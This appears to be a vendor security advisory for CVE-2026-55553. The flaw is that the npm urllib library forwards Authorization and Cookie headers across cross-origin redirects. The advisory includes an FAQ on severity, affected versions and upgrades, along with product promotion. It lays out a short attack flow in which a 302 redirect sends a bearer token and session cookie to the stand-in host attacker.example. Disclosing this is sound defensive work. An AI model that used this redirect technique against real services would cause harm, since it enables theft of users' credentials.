CVE-2026-55553

urllib's cross-origin redirects preserve credential-bearing request headers, leading to potential credential leakage

This affects Node.js applications that use urllib to make authenticated HTTP requests while allowing redirects to be followed automatically.

1. Application sends an authenticated request:
     GET https://api.partner.example/data
     Authorization: Bearer <token>
     Cookie: session=<session-id>

2. The partner endpoint, a compromised intermediary, or a misconfigured CDN returns:
     302 Location: https://attacker.example/captured

3. urllib follows the redirect and sends the original Authorization and Cookie headers
   to attacker.example.

This exposes credentials to an origin that was not the intended recipient. Depending on the credential type and server-side validation, the leaked credentials may be reusable against the original partner API or related services.

This requires no user interaction. Realistic triggers include compromised partner subdomains, DNS hijacking, malicious partner endpoints during onboarding, internal services redirecting across trust boundaries, or an open redirect upstream of urllib's call site.

CVE-2026-55553 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.9.1, 2.44.1); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2026-55553? CVE-2026-55553 is a high-severity security vulnerability in urllib (npm), affecting versions >= 3.0.0, <= 4.9.0. It is fixed in 4.9.1, 2.44.1.
2. How severe is CVE-2026-55553? CVE-2026-55553 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of urllib are affected by CVE-2026-55553? urllib (npm) versions >= 3.0.0, <= 4.9.0 is affected.
4. Is there a fix for CVE-2026-55553? Yes. CVE-2026-55553 is fixed in 4.9.1, 2.44.1. Upgrade to this version or later.
5. Is CVE-2026-55553 exploitable, and should I be worried? Whether CVE-2026-55553 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-55553 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-55553?
   • Upgrade urllib to 4.9.1 or later
   • Upgrade urllib to 2.44.1 or later